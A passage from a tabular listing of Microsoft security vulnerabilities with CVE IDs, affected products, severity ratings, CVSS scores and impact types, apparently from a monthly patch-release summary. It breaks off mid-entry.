No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of 